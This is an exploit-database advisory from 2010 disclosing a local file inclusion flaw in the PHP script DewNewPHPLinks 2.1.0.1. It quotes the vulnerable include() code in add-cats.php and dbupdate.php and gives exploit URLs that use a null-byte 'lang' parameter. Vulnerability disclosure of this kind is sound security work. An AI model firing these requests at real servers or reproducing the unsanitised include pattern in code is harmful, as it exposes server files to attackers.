DewNewPHPLinks 2.1.0.1 LFI Vulnerability

2010-03-19T00:00:00
ID 1337DAY-ID-11367
Type zdt
Reporter Itsecteam
Modified 2010-03-19T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ========================================
DewNewPHPLinks 2.1.0.1 LFI Vulnerability
========================================

#########################local file include#################
Author: ItSecTeam
 
download from:http://www.dew-code.com/components/com_jooget/file/dew-newphplinks.v.2.1.0.1b.sef.zip
 
script:DewNewPHPLinks 2.1.0.1
 
*********************lfi*******************
vul1:/path/docs/add-cats.php
$lang=$_GET['lang'];
if($lang!='')
include ("../include/lang/$lang.php");
----------
vul2:/path/docs/dbupdate.php
$lang=$_GET['lang'];
if($lang!='')
include ("../include/lang/$lang.php");
 
--------------------------------------------
 
xpl lfi:/path/docs/add-cats.php?lang=[lfi]%00
xpl lfi:/path/docs/dbupdate.php?lang=[lfi]%00
########################



#  0day.today [2018-01-03]  #